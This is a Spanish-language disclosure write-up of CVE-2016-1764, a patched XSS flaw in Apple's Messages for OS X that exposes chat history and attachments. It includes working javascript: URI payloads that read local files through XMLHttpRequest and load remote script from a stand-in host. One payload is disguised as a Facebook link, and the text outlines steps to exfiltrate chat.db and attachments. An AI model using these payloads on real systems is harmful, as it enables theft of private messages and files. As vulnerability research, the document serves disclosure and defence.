moloch--/cve-2016-1764Extracción de datos de iMessage mediante XSS
Proveedor: Apple
Fecha de publicación: 8 de abril de 2016
Fecha del parche: 21 de marzo de 2016
Sistemas afectados: Messages en OSX Mountain Yosemite, El Capitan
Mientras que la mayor parte del debate reciente en torno a Apple se ha centrado en la criptografía, la industria y las fuerzas del orden parecen haber olvidado que se pueden aprovechar vulnerabilidades más simples a nivel de aplicación para omitir por completo el cifrado. CVE-2016-1764, que Apple corrigió en marzo de 2016, es un fallo a nivel de aplicación que resulta en la divulgación remota de todo el contenido de los mensajes y archivos adjuntos en texto plano explotando el cliente de iMessage de OS X. Además, no se necesita un título universitario en matemáticas para explotarlo, ni requiere un conocimiento detallado de gestión de memoria, shellcode o complejas cadenas ROP para evadir ASLR. De hecho, es un fallo relativamente simple que cualquiera con conocimientos básicos de JavaScript puede explotar.
Messages (iMessage) para OS X de Apple implementa su interfaz de usuario usando una versión embebida de WebKit; además, Messages en OS X renderiza cualquier URI como un enlace HTML <a href= en el que se puede hacer clic. Un atacante puede crear una URI de JavaScript simple (por ejemplo, javascript:) que, al ser pulsada, le otorga la ejecución inicial de JavaScript (XSS) en el contexto del DOM de la aplicación. Aunque la librería WebKit embebida que usa Messages para OS X se ejecuta en un origen applewebdata://, un atacante aún puede leer archivos arbitrarios usando peticiones GET XMLHttpRequest (XHR) hacia una URI file://, ya que no hay una política de mismo origen (SOP) implementada. Abusando de XHR para leer archivos, un atacante puede subir todo el historial de chat y los archivos adjuntos de una víctima a un servidor remoto tan rápido como lo permita la conexión a Internet de la víctima; la única interacción del usuario requerida es hacer clic en un único enlace dentro del chat. Además, si el reenvío de SMS está habilitado, el atacante también puede recuperar los mensajes enviados/recibidos desde el iPhone de la víctima.
Si quieres conocer todos los detalles escabrosos, sigue leyendo.
Messages para OS X utiliza una versión embebida de WebKit para gran parte de su interfaz de usuario. Cuando la aplicación envía o recibe mensajes, se inserta HTML en el DOM para renderizar la interfaz y cualquier archivo adjunto/contenido multimedia que se haya enviado. Todos los mensajes enviados a través de la aplicación se renderizan en un DOM y, por lo tanto, las vulnerabilidades web comunes del lado del cliente pueden afectar a la aplicación.
Al probar el cliente de Messages para OS X, se descubrió que esquemas de protocolo arbitrarios se convertían automáticamente en enlaces e insertaban en el DOM. Por ejemplo, las siguientes URI se insertan todas como enlaces en la WebView cuando se envían como mensaje:
test://test
smb://[email protected]
file:///etc
anyurihandler://anycontentafter
Como Messages para OS X no implementa una lista blanca de protocolos aceptados, un atacante puede enviar un mensaje a la víctima que contenga una URI de JavaScript javascript:, la cual se convertirá en un enlace en el que se puede hacer clic en la máquina de la víctima.
Una vez que se hace clic, la WebKit embebida ejecutará obedientemente el JavaScript controlado por el atacante en el origen actual, por ejemplo:
Ten en cuenta que %0a (es decir, \n) se usa para escapar del comentario de JavaScript //, lo cual es necesario para que coincida con el patrón de enlazado del analizador (parser). Una vez interpretado, el código se parece a:
//bishopfox.com/research?
prompt(1)
Al hacer clic en este enlace, se activa un prompt de JavaScript dentro de Messages para OS X:
Sin embargo, Messages para OS X es una aplicación de escritorio, no un sitio web. Por lo tanto, el JavaScript se ejecuta en el contexto de un origen applewebdata://:
Sin embargo, el código del atacante se ejecuta en una implementación completa de WebKit y, por lo tanto, XMLHttpRequest está disponible en tiempo de ejecución. Una de las diferencias clave entre una versión embebida de WebKit y un navegador web como Chrome o Safari es que la versión embebida no implementa ninguna política de mismo origen (SOP), ya que es una aplicación de escritorio nativa. Un atacante puede aprovechar esto para leer archivos del sistema de archivos local sin violar la política de mismo origen, enviando peticiones GET XMLHttpRequest a URIs file://. El único requisito es que el atacante debe conocer la ruta completa del archivo; no se pueden usar rutas relativas del sistema de archivos (por ejemplo, ~/.ssh/id_rsa).
Por ejemplo, el siguiente JavaScript puede ser ejecutado por el DOM de la aplicación Messages para leer el archivo /etc/passwd:
function reqListener () {
prompt(this.responseText);
// send back to attackers server here
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///etc/passwd");
oReq.send();
Convertido en una carga útil URI, el código se ve de la siguiente manera:
javascript://bishopfox.com/research?%0d%0afunction%20reqListener%20()%20%7B%0A%20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B
Al hacer clic en la aplicación Messages, aparece el siguiente prompt:
Como el vector anterior es bastante largo y parece demasiado sospechoso, es posible acortar la URI cargando dinámicamente JavaScript desde un dominio e incluyéndolo en el DOM. Por ejemplo, el siguiente vector inyecta el JavaScript de http://example.com/1.js en el DOM de Messages:
javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
El archivo JavaScript referenciado //example.com/1.js en el vector anterior puede contener instrucciones JavaScript arbitrarias de longitud arbitraria.
Sin embargo, el sandbox de aplicaciones de OS X restringía el acceso al sistema de archivos solo a ~/Library/Messages/* y a algunos otros directorios de sistema que no son de usuario, como /etc/.
Cuando Messages en OS X recibe mensajes y archivos adjuntos, estos se guardan en el siguiente directorio:
/Users/<username>/Library/Messages/*
El contenido textual de estos mensajes y otros metadatos se almacenan en una base de datos SQLite ubicada en:
/Users/<username>/Library/Messages/chat.db
Esta base de datos también contiene las ubicaciones de todos los archivos adjuntos que se encuentran en la máquina del usuario.
Para robar esta base de datos y, posteriormente, todos los archivos adjuntos que una víctima haya recibido o enviado alguna vez, se necesita una carga útil de ataque más avanzada.
Es necesario llevar a cabo los siguientes pasos antes de que un atacante pueda exfiltrar los datos con éxito:
~)chat.db, es decir, /Users/ExampleUser/Library/Messages/chat.dbXMLHttpRequest para leer la base de datos chat.db y consultarla para obtener las rutas de archivo de los adjuntosXMLHttpRequest o WebSockets si se desea acceso en tiempo real.Podemos determinar el usuario actualmente conectado solicitando y, posteriormente, analizando /Library/Preferences/com.apple.loginwindow.plist; este archivo es convenientemente legible desde dentro del sandbox de aplicaciones de OS X. A partir de aquí, es trivial construir la ruta completa al chat.db del usuario.
Una vez que el archivo de base de datos ha sido exfiltrado con éxito, se puede pasar a un script personalizado del lado del servidor que extrae las rutas completas de los archivos adjuntos enviados y recibidos por la víctima, que se encuentran en la tabla attachments de la base de datos.
Estas rutas completas son recuperadas por la carga útil de JavaScript malicioso y luego se usan para exfiltrar los archivos adjuntos de la máquina de la víctima a través de XMLHttpRequest.
A continuación, el atacante hace una pequeña ofuscación para que la URL parezca un poco más creíble:
javascript://www.facebook.com/photo.php?fbid=111789595853599&set=a.111055039260388.1073741826.100010676767694&type=3&theater%0A%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fyourhostname%3A8888%2ff%2fpayload.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
Si la víctima hiciera clic en la URI anterior dentro de la aplicación Messages para OS X, todo el historial de chat de la víctima y todos los archivos adjuntos asociados se enviarán al atacante.
JavaScript está en todas partes
Las fallas de seguridad de las aplicaciones web ya no se limitan solo al navegador, sino que también se han abierto camino en las aplicaciones nativas. Si bien puede ser productivo para los desarrolladores usar tecnologías web como WebKit, o su pariente mucho más peligroso nw.js, para construir aplicaciones de escritorio, aún se deben seguir las mejores prácticas de seguridad de aplicaciones web.